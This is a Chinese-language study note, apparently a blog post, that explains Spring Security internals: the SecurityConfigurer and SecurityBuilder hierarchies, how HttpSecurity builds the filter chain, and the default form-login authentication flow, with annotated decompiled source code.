首先一开始声明了一个 CompositeObjectPostProcessor 实例,CompositeObjectPostProcessor 是 ObjectPostProcessor 的一个实现,ObjectPostProcessor 本身是一个后置处理器,该后置处 理器默认有两个实现,AutowireBeanFactoryObjectPostProcessor 和 CompositeObjectPostProcessor。其中 AutowireBeanFactoryObjectPostProcessor 主要是利用 了 AutowireCapableBeanFactory 对 Bean 进行手动注册,因为在 Spring Security 中,很多对象 都是手动 new 出来的,这些 new 出来的对象和容器没有任何关系,利用 AutowireCapableBeanFactory 可以将这些手动 new 出来的对象注入到容器中,而 AutowireBeanFactoryObjectPostProcessor 的主要作用就是完成这件事; CompositeObjectPostProcessor 则是一个复合的对象处理器,里边维护了一个 List 集合,这个 List 集合中,大部分情况下只存储一条数据,那就是 AutowireBeanFactoryObjectPostProcessor,用来完成对象注入到容器的操作,如果用户自己手 动调用了 addObjectPostProcessor 方法,那么 CompositeObjectPostProcessor 集合中维护的 数据就会多出来一条,在 CompositeObjectPostProcessor#postProcess 方法中,会遍历集合中 的所有 ObjectPostProcessor,挨个调用其 postProcess 方法对对象进行后置处理。
> add()
该方法返回值是一个 securityBuilder,securityBuilder 实际上就是 HttpSecurity,我们在 HttpSecurity 中去配置不同的过滤器时,可以使用 and 方法进行链式配置,就是因为这里定义了 and 方法并返回了 securityBuilder 实例这便是 SecurityConfigurerAdapter 的主要功能,后面大部分的 xxxConfigurer 都是基于此类来实现的 。
##### GlobalAuthenticationConfigurerAdapter
```java
@Order(100)
public abstract class GlobalAuthenticationConfigurerAdapter implements SecurityConfigurer<AuthenticationManager, AuthenticationManagerBuilder> {
public GlobalAuthenticationConfigurerAdapter() {
}
public void init(AuthenticationManagerBuilder auth) throws Exception {
}
public void configure(AuthenticationManagerBuilder auth) throws Exception {
}
}
```
可以看到,SecurityConfigurer 中的泛型,现在明确成了 AuthenticationManager 和 AuthenticationManagerBuilder。所以 GlobalAuthenticationConfigurerAdapter 的实现类将来主要 是和配置 AuthenticationManager 有关。当然也包括默认的用户名密码也是由它的实现类来进行配置的。我们在 Spring Security 中使用的 AuthenticationManager 其实可以分为两种,一种是局部的,另一种 是全局的,这里主要是全局的配置
##### WebSecurityConfigurer
还有一个实现类就是 WebSecurityConfigurer,这个可能有的小伙伴比较陌生,其实他就是我们天天用的 WebSecurityConfigurerAdapter 的父接口。 所以 WebSecurityConfigurer 的作用就很明确了,用户扩展用户自定义的配置 。

所以,拥有自定义过滤器,通过SecurityBuilder构造过滤器链,以及配置各种拦截路径,就在继承了WebSecurityConfigurerAdapter成为了可能。
---
让我们把目光回到SecurityConfigurer的第一个实现类,SecurityConfigurerAdapter中,我们来看看下面最重要的三个实现类。其它子类也只不过是他们的三类中的衍生。
* UserDetailAwareConfigurer
* AbstractHttpConfigurer
* LdapAuthenticationProviderConfigurer(用的比较少,这里不介绍)
##### UserDetailAwareConfigurer

**重点**
关于UserDetailService有关的实现类,都于**用户**有关,这个从名字都能知道,主要用途是SpringSecurity将从这些实现类中获取用户信息和权限信息加以验证,说白点就是个**Repository**,我们可以从数据库获得,或者从其他存储了这些信息的地方获得,这是完全可以自定义的。

##### UserDetailsAwareConfigurer
```java
public abstract class UserDetailsAwareConfigurer<B extends ProviderManagerBuilder<B>, U extends UserDetailsService> extends SecurityConfigurerAdapter<AuthenticationManager, B> {
public UserDetailsAwareConfigurer() {
}
// 获得一个 UserDetailService的实现
public abstract U getUserDetailsService();
}
```
从这里开始,预示着用户服务将会与ProviderManager、AuthenticationManager这些权限类有关联,这也不奇怪用户肯定要校验什么的。通过定义我们可以看到泛型U必须是UserDetailsService接口的实现,也就是 getUserDetailsService()方法返回的肯定是UserDetailsService接口的实现,还有通过泛型B及继承 SecurityConfigurerAdapter来看会构建一个AuthenticationManager对象 。
##### AbstractDaoAuthencationConfigurer
```java
public abstract class AbstractDaoAuthenticationConfigurer<B extends ProviderManagerBuilder<B>, C extends AbstractDaoAuthenticationConfigurer<B, C, U>, U extends UserDetailsService> extends UserDetailsAwareConfigurer<B, U> {
// 权限验证类
private DaoAuthenticationProvider provider = new DaoAuthenticationProvider();
private final U userDetailsService;
// 将实现类
AbstractDaoAuthenticationConfigurer(U userDetailsService) {
this.userDetailsService = userDetailsService;
this.provider.setUserDetailsService(userDetailsService);
if (userDetailsService instanceof UserDetailsPasswordService) {
this.provider.setUserDetailsPasswordService((UserDetailsPasswordService)userDetailsService);
}
}
// 添加到ioc容器中
public C withObjectPostProcessor(ObjectPostProcessor<?> objectPostProcessor) {
this.addObjectPostProcessor(objectPostProcessor);
return this;
}
// 密码加密工具
public C passwordEncoder(PasswordEncoder passwordEncoder) {
this.provider.setPasswordEncoder(passwordEncoder);
return this;
}
// 密码服务
public C userDetailsPasswordManager(UserDetailsPasswordService passwordManager) {
this.provider.setUserDetailsPasswordService(passwordManager);
return this;
}
//将DaoAuthenticationProvider 添加到IOC容器,且设置进 SecurityBuilder的实现中。
public void configure(B builder) throws Exception {
this.provider = (DaoAuthenticationProvider)this.postProcess(this.provider);
builder.authenticationProvider(this.provider);
}
// 返回实现类
public U getUserDetailsService() {
return this.userDetailsService;
}
}
```
##### UserDetailServiceConfigurer
这个类就比较简单,扩展了AbstractDaoAuthenticationConfigurer中的configure方法,在 configure 方法执行之前加入了 initUserDetailsService 方法,以方便开发展按照自己的方式去初始化 UserDetailsService。不过这里的 initUserDetailsService 方法是空方法 。
```java
public class UserDetailsServiceConfigurer<B extends ProviderManagerBuilder<B>, C extends UserDetailsServiceConfigurer<B, C, U>, U extends UserDetailsService> extends AbstractDaoAuthenticationConfigurer<B, C, U> {
public UserDetailsServiceConfigurer(U userDetailsService) {
super(userDetailsService);
}
public void configure(B builder) throws Exception {
this.initUserDetailsService();
super.configure(builder);
}
// 给子类开放了一个新的方法,用于重写。
protected void initUserDetailsService() throws Exception {
}
}
```
##### DaoAuthenticationConfigurer
```java
public class DaoAuthenticationConfigurer<B extends ProviderManagerBuilder<B>, U extends UserDetailsService> extends AbstractDaoAuthenticationConfigurer<B, DaoAuthenticationConfigurer<B, U>, U> {
public DaoAuthenticationConfigurer(U userDetailsService) {
super(userDetailsService);
}
}
```
这个类也没干什么,就是细化了`AbstractDaoAuthenticationConfigurer<B, DaoAuthenticationConfigurer<B, U>, U>`。
##### UserDetailsManagerConfigurer
```java
public class UserDetailsManagerConfigurer<B extends ProviderManagerBuilder<B>, C extends UserDetailsManagerConfigurer<B, C>> extends UserDetailsServiceConfigurer<B, C, UserDetailsManager> {
private final List<UserDetailsManagerConfigurer<B, C>.UserDetailsBuilder> userBuilders = new ArrayList();
private final List<UserDetails> users = new ArrayList();
protected UserDetailsManagerConfigurer(UserDetailsManager userDetailsManager) {
super(userDetailsManager);
}
protected void initUserDetailsService() throws Exception {
Iterator var1 = this.userBuilders.iterator();
while(var1.hasNext()) {
UserDetailsManagerConfigurer<B, C>.UserDetailsBuilder userBuilder = (UserDetailsManagerConfigurer.UserDetailsBuilder)var1.next();
((UserDetailsManager)this.getUserDetailsService()).createUser(userBuilder.build());
}
var1 = this.users.iterator();
while(var1.hasNext()) {
UserDetails userDetails = (UserDetails)var1.next();
((UserDetailsManager)this.getUserDetailsService()).createUser(userDetails);
}
}
// 用来添加用户,将用户管理起来,方便
public final C withUser(UserDetails userDetails) {
this.users.add(userDetails);
return this;
}
// 利用对象构造器,创建一个对象添加到list中
public final C withUser(UserBuilder userBuilder) {
this.users.add(userBuilder.build());
return this;
}
// 创建一个对象构建对象,并将利用构造器创建一个指定名字的对象,最后添加进维护的对象建造器列表里
public final UserDetailsManagerConfigurer<B, C>.UserDetailsBuilder withUser(String username) {
UserDetailsManagerConfigurer<B, C>.UserDetailsBuilder userBuilder = new UserDetailsManagerConfigurer.UserDetailsBuilder(this);
userBuilder.username(username);
this.userBuilders.add(userBuilder);
return userBuilder;
}
// 自定义了一个用户建造对象
public final class UserDetailsBuilder {
private UserBuilder user;
private final C builder;
private UserDetailsBuilder(C builder) {
this.builder = builder;
}
public C and() {
return this.builder;
}
// ...
UserDetails build() {
return this.user.build();
}
}
}
```
UserDetailsManagerConfigurer 中实现了 UserDetailsServiceConfigurer 中定义的 initUserDetailsService 方法,具体的实现逻辑就是将 UserDetailsBuilder 所构建出来的 UserDetails 以及提前准备好的 UserDetails 中的用户存储到 UserDetailsService 中。 该类同时添加了 withUser 方法用来添加用户,同时还增加了一个 UserDetailsBuilder 用来构建用户。
##### JdbcUserDetailsManagerConfigurer
JdbcUserDetailsManagerConfigurer 在父类的基础上补充了 DataSource 对象,同时还提供了相应的数据库查询方法 。
```java
public class JdbcUserDetailsManagerConfigurer<B extends ProviderManagerBuilder<B>> extends UserDetailsManagerConfigurer<B, JdbcUserDetailsManagerConfigurer<B>> {
// 数据源
private DataSource dataSource;
private List<Resource> initScripts;
public JdbcUserDetailsManagerConfigurer(JdbcUserDetailsManager manager) {
super(manager);
this.initScripts = new ArrayList();
}
public JdbcUserDetailsManagerConfigurer() {
this(new JdbcUserDetailsManager());
}
// 数据源的注入
public JdbcUserDetailsManagerConfigurer<B> dataSource(DataSource dataSource) {
this.dataSource = dataSource;
this.getUserDetailsService().setDataSource(dataSource);
return this;
}
public JdbcUserDetailsManagerConfigurer<B> usersByUsernameQuery(String query) {
this.getUserDetailsService().setUsersByUsernameQuery(query);
return this;
}
public JdbcUserDetailsManagerConfigurer<B> authoritiesByUsernameQuery(String query) {
this.getUserDetailsService().setAuthoritiesByUsernameQuery(query);
return this;
}
// ....
}
```
##### InMemoryUserDetailsManagerConfigurer
```java
public class InMemoryUserDetailsManagerConfigurer<B extends ProviderManagerBuilder<B>> extends UserDetailsManagerConfigurer<B, InMemoryUserDetailsManagerConfigurer<B>> {
public InMemoryUserDetailsManagerConfigurer() {
// 也就是意味着他会传入 UserDetailsManagerConfigurer,可是这个UserDetailManager又是什么呢
super(new InMemoryUserDetailsManager(new ArrayList()));
}
}
// UserDetailsManagerConfigurer.java
protected UserDetailsManagerConfigurer(UserDetailsManager userDetailsManager) {
super(userDetailsManager);
}
```
其实UserDetailManager就是定义了一些关于User用户的操作接口。
```java
public interface UserDetailsManager extends UserDetailsService {
void createUser(UserDetails var1);
void updateUser(UserDetails var1);
void deleteUser(String var1);
void changePassword(String var1, String var2);
boolean userExists(String var1);
}
```

#### 对 SecurityConigurer的总结
我们可以发现,SecurityConfigurer的下方的子类有三个大类。

一类是`AbstractHttpConfigurer`,他们最后将会在SecurityBuilder的帮助下,组成了一个个过滤器,并添加到FilterChain中,也就是过滤器链。然后后置处理器将会把他们添加到IOC容器中。
第二类是`UserDetailAwareConfigurer`这一大类主要用途是将权限认证也就是ProviderManager,和用户操作相关的东西放在了一起。
第三类,还没研究,这哪是不用管。
##### 深入理解 HttpSecurity
HttpSecurity的最高级抽象,就是SecurityBuilder,他也是SpringSecurity的核心组成部分。

##### SecurityBuilder
```java
public interface SecurityBuilder<O> {
O build() throws Exception;
}
```
通过接口的源码我们可以看到它的作用其实就是根据传递的泛型构建对应的对象返回。
```java
public final class HttpSecurity extends AbstractConfiguredSecurityBuilder<DefaultSecurityFilterChain, HttpSecurity> implements SecurityBuilder<DefaultSecurityFilterChain>, HttpSecurityBuilder<HttpSecurity> {
```
集合HttpSecurity的泛型具体,可知道他会创建出`DefaultSecurityFilterChain`,这就是我们熟悉的过滤器链,所以HttpSecurity的主要用途就是为了构建过滤器链。
##### AbstractSecurityBuilder
```java
public abstract class AbstractSecurityBuilder<O> implements SecurityBuilder<O> {
private AtomicBoolean building = new AtomicBoolean();
private O object;
public AbstractSecurityBuilder() {
}
public final O build() throws Exception {
if (this.building.compareAndSet(false, true)) {
this.object = this.doBuild();
return this.object;
} else {
throw new AlreadyBuiltException("This object has already been built");
}
}
public final O getObject() {
if (!this.building.get()) {
throw new IllegalStateException("This object has not been built");
} else {
return this.object;
}
}
protected abstract O doBuild() throws Exception;
}
```
我们可以看到,build方法其实在AbstractSecurityBuilder中就是做了一个是否已经初始化过的判断,保证只初始化一次。
而后面却调用了doBuild方法,我们来看看他下面的子类是如何实现的。
##### AbstractConfiguredSecurityBuilder
```java
protected final O doBuild() throws Exception {
// 模版模式的体现
synchronized(this.configurers) {
// 正在初始化
this.buildState = AbstractConfiguredSecurityBuilder.BuildState.INITIALIZING;
// 初始化之前的调用
this.beforeInit();
// 初始化
this.init();
// 配置中
this.buildState = AbstractConfiguredSecurityBuilder.BuildState.CONFIGURING;
// 配置前的调用
this.beforeConfigure();
// 配置
this.configure();
// 构建创建中
this.buildState = AbstractConfiguredSecurityBuilder.BuildState.BUILDING;
// 获取构建的对象
O result = this.performBuild();
// 已经构建
this.buildState = AbstractConfiguredSecurityBuilder.BuildState.BUILT;
return result;
}
}
```
performBuild()【HttpSecurity中实现】方法的代码如下

HttpSecurity的代码实现
```java
protected DefaultSecurityFilterChain performBuild() {
// 这里对过滤器链进行了排序
this.filters.sort(this.comparator);
// 对已经创建好的过滤器链和匹配路径对象封装进了DefaultSecurityFilterChain中
return new DefaultSecurityFilterChain(this.requestMatcher, this.filters);
}
```
好了SecurityBuilder的接口的功能我们就介绍清楚了,就是用来构建DefaultSecurityFilterChain的。
##### DefaultSecurityFilterChain
DefaultSecurityFilterChain实现了SecurityFilterChain接口,该接口的定义如下。
```java
public interface SecurityFilterChain {
// 匹配请求
boolean matches(HttpServletRequest var1);
// 获取过滤器链中所有的过滤器
List<Filter> getFilters();
}
```
SecurityFilterChain 其实就是我们平时所说的 Spring Security 中的过滤器链,它里边定义了两个 方法,一个是 matches 方法用来匹配请求,另外一个 getFilters 方法返回一个 List 集合,集合中放着 Filter 对象,当一个请求到来时,用 matches 方法去比较请求是否和当前链吻合,如果吻合,就返回 getFilters 方法中的过滤器,那么当前请求会逐个经过 List 集合中的过滤器 。
DefaultSecurityFilterChain是SecurityFilterChain 的唯一实现,内容就是对SecurityFilterChain 中 的方法的实现。
```java
public final class DefaultSecurityFilterChain implements SecurityFilterChain {
private static final Log logger = LogFactory.getLog(DefaultSecurityFilterChain.class);
private final RequestMatcher requestMatcher;
private final List<Filter> filters;
public DefaultSecurityFilterChain(RequestMatcher requestMatcher, Filter... filters) {
this(requestMatcher, Arrays.asList(filters));
}
public DefaultSecurityFilterChain(RequestMatcher requestMatcher, List<Filter> filters) {
logger.info(LogMessage.format("Will secure %s with %s", requestMatcher, filters));
this.requestMatcher = requestMatcher;
this.filters = new ArrayList(filters);
}
public RequestMatcher getRequestMatcher() {
return this.requestMatcher;
}
public List<Filter> getFilters() {
return this.filters;
}
public boolean matches(HttpServletRequest request) {
return this.requestMatcher.matches(request);
}
public String toString() {
return this.getClass().getSimpleName() + " [RequestMatcher=" + this.requestMatcher + ", Filters=" + this.filters + "]";
}
}
```
##### HttpSecurityBuilder
HttpSecurityBuilder 看名字就是用来构建 HttpSecurity 的。不过它也只是一个接口,具体的实现 在 HttpSecurity 中,接口定义如下。
```java
public interface HttpSecurityBuilder<H extends HttpSecurityBuilder<H>> extends SecurityBuilder<DefaultSecurityFilterChain> {
<C extends SecurityConfigurer<DefaultSecurityFilterChain, H>> C getConfigurer(Class<C> var1);
<C extends SecurityConfigurer<DefaultSecurityFilterChain, H>> C removeConfigurer(Class<C> var1);
<C> void setSharedObject(Class<C> var1, C var2);
<C> C getSharedObject(Class<C> var1);
H authenticationProvider(AuthenticationProvider var1);
H userDetailsService(UserDetailsService var1) throws Exception;
H addFilterAfter(Filter var1, Class<? extends Filter> var2);
H addFilterBefore(Filter var1, Class<? extends Filter> var2);
H addFilter(Filter var1);
}
```
方法的说明
| 方法名称 | 说明 |
| ---------------------- | ------------------------------------------------------------ |
| getConfigurer | 获取一个配置对象。Spring Security 过滤器链中的所有过滤器对象都 是由 xxxConfigure 来进行配置的,这里就是获取这个 xxxConfigure对象 |
| removeConfigurer | 移除一个配置对象 |
| setSharedObject | 配置由多个 SecurityConfigurer 共享的对象。 |
| getSharedObject | 获取由多个 SecurityConfigurer 共享的对象 |
| authenticationProvider | 表示配置验证器 |
| userDetailsService | 配置数据源接口 |
| addFilterAfter | 在某一个过滤器之前添加过滤器 |
| addFilterBefore | 在某一个过滤器之后添加过滤器 |
| addFilter | 添加一个过滤器,该过滤器必须是现有过滤器链中某一个过滤器或者 |
这些接口在HttpSecurity中都有实现。
AbstractSecurityBuilder是SecurityBuilder的唯一实现类,他里面只有一个build方法,此外还开放了一个doBuild方法,给子类用。
AbstractConfigurerSecurityBuilder是AbstractSecurityBuilder的子类。此外AbstractConfiguredSecurityBuilder虽然也是个抽象类,但也开始有一些SecurityBuilder的一些实现。
首先 AbstractConfiguredSecurityBuilder 中定义了一个枚举类,将整个构建过程分为 5 种状态,也可 以理解为构建过程生命周期的五个阶段,如下:
```java
private static enum BuildState {
// 未构建
UNBUILT(0),
// 初始化中
INITIALIZING(1),
// 配置中
CONFIGURING(2),
// 构建中
BUILDING(3),
// 构建完成
BUILT(4);
private final int order;
private BuildState(int order) {
this.order = order;
}
public boolean isInitializing() {
return INITIALIZING.order == this.order;
}
public boolean isConfigured() {
return this.order >= CONFIGURING.order;
}
}
```
同时我们来看他的成员变量就知道这个类做了什么事情。
```java
//用于存储SecurityConfigurer的信息 class类和对应实体的映射关系。
private final LinkedHashMap<Class<? extends SecurityConfigurer<O, B>>, List<SecurityConfigurer<O, B>>> configurers;
// 在 builder为initing阶段时候添加进来的configuer
private final List<SecurityConfigurer<O, B>> configurersAddedInInitializing;
// 存储通过addShared的Configurer对象
private final Map<Class<?>, Object> sharedObjects;
private final boolean allowConfigurersOfSameType;
// 改建造者现在的状态
private AbstractConfiguredSecurityBuilder.BuildState buildState;
// 后置处理器,用于托管对象给IOC容器。
private ObjectPostProcessor<Object> objectPostProcessor;
```
也就意味着,AbstractConfigurerSecurityBuilder是开始将SecurityConfiguerer和FilterChain放在一起操作的类,通过收集SecurityConfigurer信息,从中构造出FilterChain,最后生成匹配的url对象一起过滤器链封装成一个DefaultSecurityFilterChain对象返回。
我们来看两个方法。
> add 方法
```java
private <C extends SecurityConfigurer<O, B>> void add(C configurer) {
Assert.notNull(configurer, "configurer cannot be null");
Class<? extends SecurityConfigurer<O, B>> clazz = configurer.getClass();
synchronized(this.configurers) {
//当前是否是已经配置过的阶段
if (this.buildState.isConfigured()) {
throw new IllegalStateException("Cannot apply " + configurer + " to already built object");
} else {
List<SecurityConfigurer<O, B>> configs = null;
//是否允许相同类型地Configurer
if (this.allowConfigurersOfSameType) {
configs = (List)this.configurers.get(clazz);
}
List<SecurityConfigurer<O, B>> configs = configs != null ? configs : new ArrayList(1);
((List)configs).add(configurer);
//class和对象的对象的映射关系
this.configurers.put(clazz, configs);
if (this.buildState.isInitializing()) {
this.configurersAddedInInitializing.add(configurer);
}
}
}
}
// 获取所有的Configurer
public <C extends SecurityConfigurer<O, B>> List<C> getConfigurers(Class<C> clazz) {
List<C> configs = (List)this.configurers.get(clazz);
return configs == null ? new ArrayList() : new ArrayList(configs);
}
```
add 方法,这相当于是在收集所有的配置类。将所有的 xxxConfigure 收集起来存储到 configurers 中,将来再统一初始化并配置,configurers 本身是一个 LinkedHashMap ,key 是配置类的 class, value 是一个集合,集合里边放着 xxxConfigure 配置类。当需要对这些配置类进行集中配置的时候, 会通过 getConfigurers 方法获取配置类,这个获取过程就是把 LinkedHashMap 中的 value 拿出来, 放到一个集合中返回 。
> doBuild 方法
```java
protected final O doBuild() throws Exception {
synchronized(this.configurers) {
this.buildState = AbstractConfiguredSecurityBuilder.BuildState.INITIALIZING;
this.beforeInit();
this.init();
this.buildState = AbstractConfiguredSecurityBuilder.BuildState.CONFIGURING;
this.beforeConfigure();
this.configure();
this.buildState = AbstractConfiguredSecurityBuilder.BuildState.BUILDING;
O result = this.performBuild();
this.buildState = AbstractConfiguredSecurityBuilder.BuildState.BUILT;
return result;
}
}
// 依次调用收集到的Configurer类,迭代调用
private void init() throws Exception {
Collection<SecurityConfigurer<O, B>> configurers = this.getConfigurers();
Iterator var2 = configurers.iterator();
SecurityConfigurer configurer;
while(var2.hasNext()) {
configurer = (SecurityConfigurer)var2.next();
configurer.init(this);
}
var2 = this.configurersAddedInInitializing.iterator();
while(var2.hasNext()) {
configurer = (SecurityConfigurer)var2.next();
configurer.init(this);
}
}
// 依次调用收集到的Configurer类,迭代调用
private void configure() throws Exception {
Collection<SecurityConfigurer<O, B>> configurers = this.getConfigurers();
Iterator var2 = configurers.iterator();
while(var2.hasNext()) {
SecurityConfigurer<O, B> configurer = (SecurityConfigurer)var2.next();
configurer.configure(this);
}
}
```
在 AbstractSecurityBuilder 类中,过滤器的构建被转移到 doBuild 方法上面了,不过在 AbstractSecurityBuilder 中只是定义了抽象的 doBuild 方法,具体的实现在 AbstractConfiguredSecurityBuilder doBuild 方法就是一边更新状态,进行进行初始化。
其中调用方法的说明
| 方法 | 说明 |
| ----------------- | ------------------------------------------------------------ |
| beforeInit() | 是一个预留方法,没有任何实现 |
| init() | 就是找到所有的 xxxConfigure,挨个调用其 init 方法进行初始化 |
| beforeConfigure() | 是一个预留方法,没有任何实现 |
| configure() | 就是找到所有的 xxxConfigure,挨个调用其 configure 方法进行配置。 |
| performBuild() | 是真正的过滤器链构建方法,但是在 AbstractConfiguredSecurityBuilder 中 performBuild 方法只是一个抽象方法,具体的实现在 HttpSecurity 中 |
HttpSecurity的所有的父类我们都了解后就可以具体来看下HttpSecurity的内容了。
##### HttpSecurity

HttpSecurity 中有大量类似的方法,过滤器链中的过滤器就是这样一个一个配置的。我们就不一一介绍
了。 每个配置方法的结尾都会来一句 getOrApply,这个是干嘛的?我们来看下。

```java
// HttpSecurity.java
private <C extends SecurityConfigurerAdapter<DefaultSecurityFilterChain, HttpSecurity>> C getOrApply(C configurer) throws Exception {
C existingConfig = (SecurityConfigurerAdapter)this.getConfigurer(configurer.getClass());
return existingConfig != null ? existingConfig : this.apply(configurer);
}
//AbstractConfiguredSecurityBuilder.java
public <C extends SecurityConfigurerAdapter<O, B>> C apply(C configurer) throws Exception {
configurer.addObjectPostProcessor(this.objectPostProcessor);
configurer.setBuilder(this);
this.add(configurer);
return configurer;
}
// 将配置类收集起来。
private <C extends SecurityConfigurer<O, B>> void add(C configurer) {
Assert.notNull(configurer, "configurer cannot be null");
Class<? extends SecurityConfigurer<O, B>> clazz = configurer.getClass();
synchronized(this.configurers) {
if (this.buildState.isConfigured()) {
throw new IllegalStateException("Cannot apply " + configurer + " to already built object");
} else {
List<SecurityConfigurer<O, B>> configs = null;
if (this.allowConfigurersOfSameType) {
configs = (List)this.configurers.get(clazz);
}
List<SecurityConfigurer<O, B>> configs = configs != null ? configs : new ArrayList(1);
((List)configs).add(configurer);
this.configurers.put(clazz, configs);
if (this.buildState.isInitializing()) {
this.configurersAddedInInitializing.add(configurer);
}
}
}
}
```
getConfigurer 方法是在它的父类 AbstractConfiguredSecurityBuilder 中定义的,目的就是去查看当前 这个 xxxConfigurer 是否已经配置过了。 如果当前 xxxConfigurer 已经配置过了,则直接返回,否则调用 apply 方法,这个 apply 方法最终会调 用到 AbstractConfiguredSecurityBuilder#add 方法,将当前配置 configurer 收集起来。
> addFilter 方法
```java
public HttpSecurity addFilter(Filter filter) {
Class<? extends Filter> filterClass = filter.getClass();
// 是否注册过
if (!this.comparator.isRegistered(filterClass)) {
throw new IllegalArgumentException("The Filter class " + filterClass.getName() + " does not have a registered order and cannot be added without a specified order. Consider using addFilterBefore or addFilterAfter instead.");
} else {
//很简单粗暴,就是添加到过滤器链中
this.filters.add(filter);
return this;
}
}
```
##### 总结HttpSecurity
其实HttpSecurity的真正目的就是为了构建DefaultSecurityFilterChain,也就是过滤器链。那么为了能够创建出这个链,我们需要收集一些Configurer,也就是SecurityConfigurer下的AbstractHttpConfigurer锁衍生出来的实现类,他们用于创建不同的过滤器链,在由于SecurityBuilder也定义了一套收集Configurer,调用他们的init和configre的方法,使得他们能够依次被初始化成功,最后利用传入的SecurityBuilder,也就是HttpSecuirty将构造好的Filter添加到链表中,最后和配置好的请求,封装成链表返回。
##### 默认的登录流程
通过之前的流程我们知道,第一次的请求web项目的时候会判断你这个请求是否是不需要授权的请求,如果是不需要授权,就会放行,否则就会进行重定向到权限认证页面。在后台生成了页面返回到浏览器后,我们需要输入账号密码,这之后的请求又是什么样的流程呢。
首先我们确定的是,这个处理也是在过滤器中的处理的,那么我们更加前面的知道,一个过滤器对应了一个`Configurer`,那么我们来到这里的`FromLoginConfigurer`

这里很明显,他创建一个`UsernamePasswordAuthenticationFilter`,也符合我们一个`Configurer`对应一个过滤器的结论。
确实这个过滤器也出现在我们的`FilterChainProxy`中。

看看configurer对应的init方法干了什么。

```java
private void initDefaultLoginFilter(H http) { DefaultLoginPageGeneratingFilter loginPageGeneratingFilter = http .getSharedObject(DefaultLoginPageGeneratingFilter.class);
if (loginPageGeneratingFilter != null && !isCustomLoginPage()) {
// 都是一些配置的设置
loginPageGeneratingFilter.setFormLoginEnabled(true); loginPageGeneratingFilter.setUsernameParameter(getUsernameParameter()); loginPageGeneratingFilter.setPasswordParameter(getPasswordParameter());
// 设置认证页面的地址
loginPageGeneratingFilter.setLoginPageUrl(getLoginPage()); loginPageGeneratingFilter.setFailureUrl(getFailureUrl());
// 设置默认页面提交表单的地址
loginPageGeneratingFilter.setAuthenticationUrl(getLoginProcessingUrl());
}
}
```
对应的父类的实现为

这里有设置默认的实现登录接口路径`/login`。
##### 默认的认证流程
当我们提交登陆表单后该请求会被 `UsernamePasswordAuthenticationFilter` 过滤器处理。`doFilter`方法在`UsernamePasswordAuthenticationFilter` 的**父类**中首先如果不是需要认证的请求就直接放过了,如果是需要认证的方法就会调用子类中的`attemptAuthentication`方法来处理。
```java
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)res;
// 如果不是需要认证的请求 直接放过
if (!this.requiresAuthentication(request, response)) {
chain.doFilter(request, response);
} else
{ if (this.logger.isDebugEnabled()) {
this.logger.debug("Request is to process authentication");
}
Authentication authResult;
try {
// 调用子类认证的方法 进入
attemptAuthenticatio 方法 authResult =
this.attemptAuthentication(request, response);
if (authResult == null) {
return;
}// session的处理策略
this.sessionStrategy.onAuthentication(authResult, request, response);
} catch (InternalAuthenticationServiceException var8) {
this.logger.error("An internal error occurred while trying to authenticate the user.", var8);
// 验证失败的处理方法
this.unsuccessfulAuthentication(request, response, var8);
return;
} catch (AuthenticationException var9) {
this.unsuccessfulAuthentication(request, response, var9);
return;
}
//验证成功前的操作
if (this.continueChainBeforeSuccessfulAuthentication) {
chain.doFilter(request, response);
}
//都成功后的处理
this.successfulAuthentication(request, response, chain, authResult);
}
}
```
进入`UsernamePasswordAuthenticationFilter`中的`attemptAuthentication`方法
```java
public Authentication attemptAuthentication(HttpServletRequest request, HttpServletResponse response) throws AuthenticationException {
// 表单提交的方式必须是POST方式
if (this.postOnly && !request.getMethod().equals("POST")) {
throw new AuthenticationServiceException("Authentication method not supported: " + request.getMethod());
} else
{
// 获取表单提交的账号密码
String username = this.obtainUsername(request);
String password = this.obtainPassword(request);
if (username == null) {
username = "";
}
if (password == null) {
password = "";
}
username = username.trim();
// 表单提交的账号密码被封装为 Token对象
UsernamePasswordAuthenticationToken authRequest = new UsernamePasswordAuthenticationToken(username, password);
// 将当前Request和Token关联起来
this.setDetails(request, authRequest);
// 实现认证的过程 进入这里,这里进入的其实是ProviderManager
return this.getAuthenticationManager().authenticate(authRequest);
}
}
```
authenticate认证的方法我们需要进入到`ProviderManager`中获取对应的验证方式,`ProviderManager`是`AuthenticationManager`的实现类,主要的用途是处理认证的请求。

```java
public Authentication authenticate(Authentication authentication) throws AuthenticationException {
Class<? extends Authentication> toTest = authentication.getClass(); AuthenticationException lastException = null;
AuthenticationException parentException = null;
Authentication result = null;
Authentication parentResult = null;
boolean debug = logger.isDebugEnabled();
// 获取各种认证方式 QQ 微信 数据库
Iterator var8 = this.getProviders().iterator();
while(var8.hasNext()) {
//迭代,获得校验提供者
AuthenticationProvider provider = (AuthenticationProvider)var8.next();
//是否支持这个校验
if (provider.supports(toTest)) {
if (debug) {
logger.debug("Authentication attempt using " + provider.getClass().getName());
}try {
// 认证的关键代码
result = provider.authenticate(authentication);
if (result != null) {
this.copyDetails(authentication, result);
break;
}
} catch (AccountStatusException var13) {
this.prepareException(var13, authentication);
throw var13;
} catch (InternalAuthenticationServiceException var14) { this.prepareException(var14, authentication);
throw var14;
} catch (AuthenticationException var15) {
lastException = var15;
}
}
}
if (result == null && this.parent != null) {
try {
// 父认证器 再认证一次
result = parentResult = this.parent.authenticate(authentication);
} catch (ProviderNotFoundException var11) {
} catch (AuthenticationException var12) {
parentException = var12; lastException = var12;
}
}
if (result != null) {
if (this.eraseCredentialsAfterAuthentication && result instanceof CredentialsContainer)
{
((CredentialsContainer)result).eraseCredentials(); }
if (parentResult == null) { this.eventPublisher.publishAuthenticationSuccess(result);
}return result;
}
else {
if (lastException == null) {
lastException = new ProviderNotFoundException(this.messages.getMessage("ProviderManager.providerNotF ound", new Object[]{toTest.getName()}, "No AuthenticationProvider found for {0}"));
}if (parentException == null) { this.prepareException((AuthenticationException)lastException, authentication);
}throw lastException;
}
}
```
进入`provider.authenticate(authentication);`方法中 `AbstractUserDetailsAuthenticationProvider`具体实现。

```java
public Authentication authenticate(Authentication authentication) throws AuthenticationException {
Assert.isInstanceOf(UsernamePasswordAuthenticationToken.class, authentication, () -> {
return this.messages.getMessage("AbstractUserDetailsAuthenticationProvider.onlySupports ", "Only UsernamePasswordAuthenticationToken is supported");
});
// 获取表单提交的账号
String username = authentication.getPrincipal() == null ? "NONE_PROVIDED" : authentication.getName(); boolean cacheWasUsed = true;
// 从缓存中认证账号是否存在
UserDetails user = this.userCache.getUserFromCache(username);
